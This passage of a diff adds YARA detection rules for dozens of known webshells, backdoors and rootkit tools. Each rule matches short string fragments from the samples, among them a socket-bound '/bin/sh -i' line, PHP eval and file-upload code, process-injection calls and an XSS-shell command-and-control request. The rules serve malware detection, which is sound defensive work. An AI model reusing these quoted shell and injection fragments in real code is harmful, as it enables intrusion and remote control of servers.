+		$s8 = "<LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET SERVER> <TARGET"
+	condition:
+		all of them
+}
+rule HYTop_CaseSwitch_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8bf667ee9e21366bc0bd3491cb614f41"
+		id = "0f2b8e71-1c11-5efe-bee7-146168aec369"
+	strings:
+		$s1 = "MSComDlg.CommonDialog"
+		$s2 = "CommonDialog1"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s5 = "EVENT_SINK_AddRef"
+		$s6 = "By Marcos"
+		$s7 = "EVENT_SINK_QueryInterface"
+		$s8 = "MethCallEngine"
+	condition:
+		all of them
+}
+rule eBayId_index3 {
+	meta:
+		description = "Webshells Auto-generated - file index3.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "0412b1e37f41ea0d002e4ed11608905f"
+		id = "4fc30150-7b44-53c4-888c-faf651495407"
+	strings:
+		$s8 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"You"
+	condition:
+		all of them
+}
+rule FSO_s_phvayv {
+	meta:
+		description = "Webshells Auto-generated - file phvayv.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+		id = "07e027a6-01a5-5250-a35e-fbfef1449cfe"
+	strings:
+		$s2 = "wrap=\"OFF\">XXXX</textarea></font><font face"
+	condition:
+		all of them
+}
+rule byshell063_ntboot {
+	meta:
+		description = "Webshells Auto-generated - file ntboot.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "99b5f49db6d6d9a9faeffb29fd8e6d8c"
+		id = "7d1f39f6-04f1-51ee-b125-c35af8ae4c0c"
+	strings:
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtBoot"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "Dumping Description to Registry..."
+		$s3 = "Opening Service .... Failure !"
+	condition:
+		all of them
+}
+rule FSO_s_casus15_2 {
+	meta:
+		description = "Webshells Auto-generated - file casus15.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+		id = "d3f67fe9-a93f-504a-8b14-a815135d562f"
+	strings:
+		$s0 = "copy ( $dosya_gonder"
+	condition:
+		all of them
+}
+rule installer {
+	meta:
+		description = "Webshells Auto-generated - file installer.cmd"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a507919ae701cf7e42fa441d3ad95f8f"
+		id = "681d8284-55e5-5316-a0d2-f4f13218df76"
+	strings:
+		$s0 = "Restore Old Vanquish"
+		$s4 = "ReInstall Vanquish"
+	condition:
+		all of them
+}
+rule FSO_s_remview_2 {
+	meta:
+		description = "Webshells Auto-generated - file remview.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+		id = "8e0492e8-d683-5c2d-b1ce-6c8344b874af"
+	strings:
+		$s0 = "<xmp>$out</"
+		$s1 = ".mm(\"Eval PHP code\")."
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_r57 {
+	meta:
+		description = "Webshells Auto-generated - file r57.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "903908b77a266b855262cdbce81c3f72"
+		id = "14092413-27a4-5b7d-9023-0b53b3d45a12"
+	strings:
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']."
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006X {
+	meta:
+		description = "Webshells Auto-generated - file 2006X.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cf3ee0d869dd36e775dfcaa788db8e4b"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+	strings:
+		$s1 = "<input name=\"password\" type=\"password\" id=\"password\""
+		$s6 = "name=\"theAction\" type=\"text\" id=\"theAction\""
+	condition:
+		all of them
+}
+rule FSO_s_phvayv_2 {
+	meta:
+		description = "Webshells Auto-generated - file phvayv.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+		id = "8bd52f9b-a232-566d-90ab-4085933cdc65"
+	strings:
+		$s2 = "rows=\"24\" cols=\"122\" wrap=\"OFF\">XXXX</textarea></font><font"
+	condition:
+		all of them
+}
+rule elmaliseker {
+	meta:
+		description = "Webshells Auto-generated - file elmaliseker.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "ccf48af0c8c09bbd038e610a49c9862e"
+		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"
+	strings:
+		$s0 = "javascript:Command('Download'"
+		$s5 = "zombie_array=array("
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_resolve {
+	meta:
+		description = "Webshells Auto-generated - file resolve.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "69bf9aa296238610a0e05f99b5540297"
+		id = "dcdb9952-63fc-57a7-ae17-ffe8ac4271f1"
+	strings:
+		$s0 = "3^n6B(Ed3"
+		$s1 = "^uldn'Vt(x"
+		$s2 = "\\= uPKfp"
+		$s3 = "'r.axV<ad"
+		$s4 = "p,modoi$=sr("
+		$s5 = "DiamondC8S t"
+		$s6 = "`lQ9fX<ZvJW"
+	condition:
+		all of them
+}
+rule FSO_s_RemExp {
+	meta:
+		description = "Webshells Auto-generated - file RemExp.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+		id = "48a262bf-7f48-5ed9-b043-80e9d563bf21"
+	strings:
+		$s1 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Request.Ser"
+		$s5 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f=<%=F"
+		$s6 = "<td bgcolor=\"<%=BgColor%>\" align=\"right\"><%=Attributes(SubFolder.Attributes)%></"
+	condition:
+		all of them
+}
+rule FSO_s_tool {
+	meta:
+		description = "Webshells Auto-generated - file tool.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3a1e1e889fdd974a130a6a767b42655b"
+		id = "ed744aa4-7a35-57d6-89bd-3286a21b50a0"
+	strings:
+		$s7 = "\"\"%windir%\\\\calc.exe\"\")"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "97f2552c2fafc0b2eb467ee29cc803c8"
+		id = "91d278d5-e9ec-5a28-9a54-4549b4f0cd07"
+	strings:
+		$s0 = "window.open(\"\"&url&\"?id=edit&path=\"+sfile+\"&op=copy&attrib=\"+attrib+\"&dpath=\"+lp"
+		$s3 = "<input name=\"dbname\" type=\"hidden\" id=\"dbname\" value=\"<%=request(\"dbname\")%>\">"
+	condition:
+		all of them
+}
+rule byloader {
+	meta:
+		description = "Webshells Auto-generated - file byloader.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "0f0d6dc26055653f5844ded906ce52df"
+		id = "24940e4b-06eb-548d-9e14-1a8f9c864bd3"
+	strings:
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtfsChk"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "NTFS Disk Driver Checking Service"
+		$s3 = "Dumping Description to Registry..."
+		$s4 = "Opening Service .... Failure !"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_Fport {
+	meta:
+		description = "Webshells Auto-generated - file Fport.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "dbb75488aa2fa22ba6950aead1ef30d5"
+		id = "664e7b19-4d0b-5062-97d2-0eb34869024d"
+	strings:
+		$s4 = "Copyright 2000 by Foundstone, Inc."
+		$s5 = "You must have administrator privileges to run fport - exiting..."
+	condition:
+		all of them
+}
+rule BackDooR__fr_ {
+	meta:
+		description = "Webshells Auto-generated - file BackDooR (fr).php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a79cac2cf86e073a832aaf29a664f4be"
+		id = "fd0c77e8-18b7-5eb4-8ed4-87ee4c864683"
+	strings:
+		$s3 = "print(\"<p align=\\\"center\\\"><font size=\\\"5\\\">Exploit include "
+	condition:
+		all of them
+}
+rule FSO_s_ntdaddy {
+	meta:
+		description = "Webshells Auto-generated - file ntdaddy.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "f6262f3ad9f73b8d3e7d9ea5ec07a357"
+		id = "b6b655b8-7bce-5fa5-97b7-a020a7e53f4f"
+	strings:
+		$s1 = "<input type=\"text\" name=\".CMD\" size=\"45\" value=\"<%= szCMD %>\"> <input type=\"s"
+	condition:
+		all of them
+}
+rule nstview_nstview {
+	meta:
+		description = "Webshells Auto-generated - file nstview.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3871888a0c1ac4270104918231029a56"
+		id = "00df601c-bddb-5da8-bef4-d2122419b5d0"
+	strings:
+		$s4 = "open STDIN,\\\"<&X\\\";open STDOUT,\\\">&X\\\";open STDERR,\\\">&X\\\";exec(\\\"/bin/sh -i\\\");"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_upload {
+	meta:
+		description = "Webshells Auto-generated - file upload.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b09852bda534627949f0259828c967de"
+		id = "43054993-b0dd-5d2e-9890-db1f47759be5"
+	strings:
+		$s0 = "<!-- PageUpload Below -->"
+	condition:
+		all of them
+}
+rule PasswordReminder {
+	meta:
+		description = "Webshells Auto-generated - file PasswordReminder.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "ea49d754dc609e8bfa4c0f95d14ef9bf"
+		id = "642033ee-4454-5913-8348-4d1579fc0bd8"
+	strings:
+		$s3 = "The encoded password is found at 0x%8.8lx and has a length of %d."
+	condition:
+		all of them
+}
+rule Pack_InjectT {
+	meta:
+		description = "Webshells Auto-generated - file InjectT.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "983b74ccd57f6195a0584cdfb27d55e8"
+		id = "3a640c22-0cd4-5ab1-9216-c68625d7d505"
+	strings:
+		$s3 = "ail To Open Registry"
+		$s4 = "32fDssignim"
+		$s5 = "vide Internet S"
+		$s6 = "d]Software\\M"
+		$s7 = "TInject.Dll"
+	condition:
+		all of them
+}
+rule FSO_s_RemExp_2 {
+	meta:
+		description = "Webshells Auto-generated - file RemExp.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+		id = "501544d5-fe52-5933-8782-516ffe18f3ff"
+	strings:
+		$s2 = " Then Response.Write \""
+		$s3 = "<a href= \"<%=Request.ServerVariables(\"script_name\")%>"
+	condition:
+		all of them
+}
+rule FSO_s_c99 {
+	meta:
+		description = "Webshells Auto-generated - file c99.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5f9ba02eb081bba2b2434c603af454d0"
+		id = "0b176370-a5ab-587a-b0e9-ef4fe5c604bd"
+	strings:
+		$s2 = "\"txt\",\"conf\",\"bat\",\"sh\",\"js\",\"bak\",\"doc\",\"log\",\"sfc\",\"cfg\",\"htacce"
+	condition:
+		all of them
+}
+rule rknt_zip_Folder_RkNT {
+	meta:
+		description = "Webshells Auto-generated - file RkNT.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5f97386dfde148942b7584aeb6512b85"
+		id = "a58a3b33-8096-535a-b930-2eb71347edb8"
+	strings:
+		$s0 = "PathStripPathA"
+		$s1 = "`cLGet!Addr%"
+		$s2 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s3 = "oQToOemBuff* <="
+		$s4 = "ionCdunAsw[Us'"
+		$s6 = "CreateProcessW: %S"
+		$s7 = "ImageDirectoryEntryToData"
+	condition:
+		all of them
+}
+rule dbgntboot {
+	meta:
+		description = "Webshells Auto-generated - file dbgntboot.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "4d87543d4d7f73c1529c9f8066b475ab"
+		id = "6b9381e6-597d-5e74-a318-9931d20a9d08"
+	strings:
+		$s2 = "now DOS is working at mode %d,faketype %d,against %s,has worked %d minutes,by sp"
+		$s3 = "sth junk the M$ Wind0wZ retur"
+	condition:
+		all of them
+}
+rule PHP_shell {
+	meta:
+		description = "Webshells Auto-generated - file shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "45e8a00567f8a34ab1cccc86b4bc74b9"
+		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"
+	strings:
+		$s0 = "AR8iROET6mMnrqTpC6W1Kp/DsTgxNby9H1xhiswfwgoAtED0y6wEXTihoAtICkIX6L1+vTUYWuWz"
+		$s11 = "1HLp1qnlCyl5gko8rDlWHqf8/JoPKvGwEm9Q4nVKvEh0b0PKle3zeFiJNyjxOiVepMSpflJkPv5s"
+	condition:
+		all of them
+}
+rule hxdef100 {
+	meta:
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "55cc1769cef44910bd91b7b73dee1f6c"
+		id = "fb376c18-02d2-5866-a0e2-ccb5262091dd"
+	strings:
+		$s0 = "RtlAnsiStringToUnicodeString"
+		$s8 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+		$s9 = "\\\\.\\mailslot\\hxdef-rk100sABCDEFGH"
+	condition:
+		all of them
+}
+rule rdrbs100 {
+	meta:
+		description = "Webshells Auto-generated - file rdrbs100.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "7c752bcd6da796d80a6830c61a632bff"
+		id = "369e5ce0-984c-54eb-96d4-fbfb4f932ba6"
+	strings:
+		$s3 = "Server address must be IP in A.B.C.D format."
+		$s4 = " mapped ports in the list. Currently "
+	condition:
+		all of them
+}
+rule Mithril_Mithril {
+	meta:
+		description = "Webshells Auto-generated - file Mithril.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "017191562d72ab0ca551eb89256650bd"
+		id = "81645f57-7d7e-5b4d-b323-744f2cde4916"
+	strings:
+		$s0 = "OpenProcess error!"
+		$s1 = "WriteProcessMemory error!"
+		$s4 = "GetProcAddress error!"
+		$s5 = "HHt`HHt\\"
+		$s6 = "Cmaudi0"
+		$s7 = "CreateRemoteThread error!"
+		$s8 = "Kernel32"
+		$s9 = "VirtualAllocEx error!"
+	condition:
+		all of them
+}
+rule hxdef100_2 {
+	meta:
+		description = "Webshells Auto-generated - file hxdef100.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1b393e2e13b9c57fb501b7cd7ad96b25"
+		id = "1f079b73-29de-50cf-868c-1639a43e576f"
+	strings:
+		$s0 = "\\\\.\\mailslot\\hxdef-rkc000"
+		$s2 = "Shared Components\\On Access Scanner\\BehaviourBlo"
+		$s6 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+	condition:
+		all of them
+}
+rule Release_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "76a59fc3242a2819307bb9d593bef2e0"
+		id = "af821252-8409-5572-9014-59e8c5feaacd"
+	strings:
+		$s0 = ";;;Y;`;d;h;l;p;t;x;|;"
+		$s1 = "0 0&00060K0R0X0f0l0q0w0"
+		$s2 = ": :$:(:,:0:4:8:D:`=d="
+		$s3 = "4@5P5T5\\5T7\\7d7l7t7|7"
+		$s4 = "1,121>1C1K1Q1X1^1e1k1s1y1"
+		$s5 = "9 9$9(9,9P9X9\\9`9d9h9l9p9t9x9|9"
+		$s6 = "0)0O0\\0a0o0\"1E1P1q1"
+		$s7 = "<.<I<d<h<l<p<t<x<|<"
+		$s8 = "3&31383>3F3Q3X3`3f3w3|3"
+		$s9 = "8@;D;H;L;P;T;X;\\;a;9=W=z="
+	condition:
+		all of them
+}
+rule webadmin {
+	meta:
+		description = "Webshells Auto-generated - file webadmin.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3a90de401b30e5b590362ba2dde30937"
+		id = "615d87f8-9094-5994-aea1-d7276623fbca"
+	strings:
+		$s0 = "<input name=\\\"editfilename\\\" type=\\\"text\\\" class=\\\"style1\\\" value='\".$this->inpu"
+	condition:
+		all of them
+}
+rule commands {
+	meta:
+		description = "Webshells Auto-generated - file commands.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "174486fe844cb388e2ae3494ac2d1ec2"
+		id = "7cffefc7-4f24-5908-82a4-f11eda398377"
+	strings:
+		$s1 = "If CheckRecord(\"SELECT COUNT(ID) FROM VictimDetail WHERE VictimID = \" & VictimID"
+		$s2 = "proxyArr = Array (\"HTTP_X_FORWARDED_FOR\",\"HTTP_VIA\",\"HTTP_CACHE_CONTROL\",\"HTTP_F"
+	condition:
+		all of them
+}
+rule hkdoordll {
+	meta:
+		description = "Webshells Auto-generated - file hkdoordll.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b715c009d47686c0e62d0981efce2552"
+		id = "c4cfb575-89c3-5a72-8bf5-234d4284fe9d"
+	strings:
+		$s6 = "Can't uninstall,maybe the backdoor is not installed or,the Password you INPUT is"
+	condition:
+		all of them
+}
+rule r57shell_2 {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+		id = "d3a3fe11-c9e1-523b-88a3-ddc0c1085d04"
+	strings:
+		$s2 = "echo \"<br>\".ws(2).\"HDD Free : <b>\".view_size($free).\"</b> HDD Total : <b>\".view_"
+	condition:
+		all of them
+}
+rule Mithril_v1_45_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+		id = "2aea84b6-1b51-58cd-b52b-c31b1f75d295"
+	strings:
+		$s3 = "syspath"
+		$s4 = "\\Mithril"
+		$s5 = "--list the services in the computer"
+	condition:
+		all of them
+}
+rule dbgiis6cli {
+	meta:
+		description = "Webshells Auto-generated - file dbgiis6cli.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3044dceb632b636563f66fee3aaaf8f3"
+		id = "2bc59a6b-f45c-5e68-a346-ac56e8f2757b"
+	strings:
+		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
+		$s5 = "###command:(NO more than 100 bytes!)"
+	condition:
+		all of them
+}
+rule remview_2003_04_22 {
+	meta:
+		description = "Webshells Auto-generated - file remview_2003_04_22.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "17d3e4e39fbca857344a7650f7ea55e3"
+		id = "3088ee27-42a3-5140-98de-ab6f87c7748b"
+	strings:
+		$s1 = "\"<b>\".mm(\"Eval PHP code\").\"</b> (\".mm(\"don't type\").\" \\\"&lt;?\\\""
+	condition:
+		all of them
+}
+rule FSO_s_test {
+	meta:
+		description = "Webshells Auto-generated - file test.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "82cf7b48da8286e644f575b039a99c26"
+		id = "b0cc5a2a-c741-50dd-854f-5a43769e8f47"
+	strings:
+		$s0 = "$yazi = \"test\" . \"\\r\\n\";"
+		$s2 = "fwrite ($fp, \"$yazi\");"
+	condition:
+		all of them
+}
+rule Debug_cress {
+	meta:
+		description = "Webshells Auto-generated - file cress.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "36a416186fe010574c9be68002a7286a"
+		id = "6cf3e43c-bec1-5688-b1d7-8ac48d59153a"
+	strings:
+		$s0 = "\\Mithril "
+		$s4 = "Mithril.exe"
+	condition:
+		all of them
+}
+rule webshell {
+	meta:
+		description = "Webshells Auto-generated - file webshell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "f2f8c02921f29368234bfb4d4622ad19"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "RhViRYOzz"
+		$s1 = "d\\O!jWW"
+		$s2 = "bc!jWW"
+		$s3 = "0W[&{l"
+		$s4 = "[INhQ@\\"
+	condition:
+		all of them
+}
+rule FSO_s_EFSO_2 {
+	meta:
+		description = "Webshells Auto-generated - file EFSO_2.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+		id = "e88d324c-1dee-5b07-b528-cf760e3ee7a6"
+	strings:
+		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
+		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"
+	condition:
+		all of them
+}
+rule thelast_index3 {
+	meta:
+		description = "Webshells Auto-generated - file index3.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cceff6dc247aaa25512bad22120a14b4"
+		id = "41310217-b9a7-5360-80c4-7d0a3969f848"
+	strings:
+		$s5 = "$err = \"<i>Your Name</i> Not Entered!</font></h2>Sorry, \\\"Your Name\\\" field is r"
+	condition:
+		all of them
+}
+rule adjustcr {
+	meta:
+		description = "Webshells Auto-generated - file adjustcr.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "17037fa684ef4c90a25ec5674dac2eb6"
+		id = "4b3d9409-60e8-502a-b37b-1e06d57c9b0b"
+	strings:
+		$s0 = "$Info: This file is packed with the UPX executable packer $"
+		$s2 = "$License: NRV for UPX is distributed under special license $"
+		$s6 = "AdjustCR Carr"
+		$s7 = "ION\\System\\FloatingPo"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_xIShell {
+	meta:
+		description = "Webshells Auto-generated - file xIShell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "997c8437c0621b4b753a546a53a88674"
+		id = "32a32a9a-8d5f-5b3f-8ff4-560555f0ae1e"
+	strings:
+		$s3 = "if (!$nix) { $xid = implode(explode(\"\\\\\",$xid),\"\\\\\\\\\");}echo (\"<td><a href='Java"
+	condition:
+		all of them
+}
+rule HYTop_AppPack_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+		id = "67c86d16-a962-5502-8c39-0a6e3dc04031"
+	strings:
+		$s6 = "\" onclick=\"this.form.sqlStr.value='e:\\hytop.mdb"
+	condition:
+		all of them
+}
+rule xssshell {
+	meta:
+		description = "Webshells Auto-generated - file xssshell.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8fc0ffc5e5fbe85f7706ffc45b3f79b4"
+		id = "ef89653c-5814-525a-b04e-4326a80f780c"
+	strings:
+		$s1 = "if( !getRequest(COMMANDS_URL + \"?v=\" + VICTIM + \"&r=\" + generateID(), \"pushComma"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_usr {
+	meta:
+		description = "Webshells Auto-generated - file usr.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "ade3357520325af50c9098dc8a21a024"
+		id = "ab1825fe-96aa-5d97-acd6-eac43a12b237"
+	strings:
+		$s0 = "<?php $id_info = array('notify' => 'off','sub' => 'aasd','s_name' => 'nurullahor"
+	condition:
+		all of them
+}
+rule FSO_s_phpinj {
+	meta:
+		description = "Webshells Auto-generated - file phpinj.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+		id = "5d84d518-0e18-517f-890b-e296ac265c50"
+	strings:
+		$s4 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';"
+	condition:
+		all of them
+}
+rule xssshell_db {
+	meta:
+		description = "Webshells Auto-generated - file db.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cb62e2ec40addd4b9930a9e270f5b318"
+		id = "94bb2297-95a2-5442-bb16-fb079a29606e"
+	strings:
+		$s8 = "'// By Ferruh Mavituna | http://ferruh.mavituna.com"
+	condition:
+		all of them
+}
+rule PHP_sh {
+	meta:
+		description = "Webshells Auto-generated - file sh.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1e9e879d49eb0634871e9b36f99fe528"
+		id = "08dff4db-3b1c-5702-a8c9-efaedf83c4ff"
+	strings:
+		$s1 = "\"@$SERVER_NAME \".exec(\"pwd\")"
+	condition:
+		all of them
+}
+rule xssshell_default {
+	meta:
+		description = "Webshells Auto-generated - file default.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d156782ae5e0b3724de3227b42fcaf2f"
+		id = "1c221572-4cb5-5806-a856-0f857dba230a"
+	strings:
